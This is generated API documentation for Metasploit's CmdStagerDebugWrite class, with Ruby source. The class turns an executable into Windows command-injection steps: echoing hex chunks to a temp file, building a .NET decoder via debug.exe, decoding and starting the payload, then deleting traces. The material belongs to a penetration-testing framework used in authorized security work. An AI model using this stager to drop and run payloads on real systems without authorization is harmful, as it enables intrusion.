class Rex::Exploitation::CmdStagerDebugWrite

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses debug.exe to write a small .NET binary. That binary will take a hex-ascii file, created via echo >>, and decode it to the final binary.

Requires: .NET, debug.exe

Public Class Methods

new(exe) click to toggle source
Calls superclass method Rex::Exploitation::CmdStagerBase::new
# File lib/rex/exploitation/cmdstager/debug_write.rb, line 24
def initialize(exe)
  super

  @var_bypass  = Rex::Text.rand_text_alpha(8)
  @var_payload = Rex::Text.rand_text_alpha(8)
  @decoder     = nil # filled in later
end

Public Instance Methods

cmd_concat_operator() click to toggle source

Windows uses & to concat strings

# File lib/rex/exploitation/cmdstager/debug_write.rb, line 127
def cmd_concat_operator
  " & "
end
compress_commands(cmds, opts) click to toggle source

We override compress commands just to stick in a few extra commands last second..

# File lib/rex/exploitation/cmdstager/debug_write.rb, line 98
def compress_commands(cmds, opts)
  # Convert the debug script to an executable...
  cvt_cmd = ''
  if (@tempdir != '')
    cvt_cmd << "cd %TEMP% && "
  end
  cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
  cmds << cvt_cmd

  # Rename the resulting binary
  cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"

  # Converting the encoded payload...
  cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"

  # Make it all happen
  cmds << "start #{@tempdir}#{@var_payload}.exe"

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "del #{@tempdir}#{@var_bypass}.exe"
    cmds << "del #{@tempdir}#{@var_payload}"
    # XXX: We won't be able to delete the payload while it is running..
  end

  super
end
encode_payload(opts) click to toggle source

Simple hex encoding…

# File lib/rex/exploitation/cmdstager/debug_write.rb, line 49
def encode_payload(opts)
  @exe.unpack('H*')[0]
end
generate_cmds(opts) click to toggle source

Override just to set the extra byte count

# File lib/rex/exploitation/cmdstager/debug_write.rb, line 36
def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo "
  @cmd_end   = ">>#{@tempdir}#{@var_payload}"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end
generate_cmds_decoder(opts) click to toggle source

Generate the commands that will decode the file we just created

# File lib/rex/exploitation/cmdstager/debug_write.rb, line 76
def generate_cmds_decoder(opts)

  # Allow decoder stub override (needs to input base64 and output bin)
  @decoder = opts[:decoder] if (opts[:decoder])

  # Read the decoder data file
  f = File.new(@decoder, "rb")
  decoder = f.read(f.stat.size)
  f.close

  # Replace variables
  decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")

  # Split it apart by the lines
  decoder.split("\n")
end
parts_to_commands(parts, opts) click to toggle source

Combine the parts of the encoded file with the stuff that goes before / after it.

# File lib/rex/exploitation/cmdstager/debug_write.rb, line 58
def parts_to_commands(parts, opts)

  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end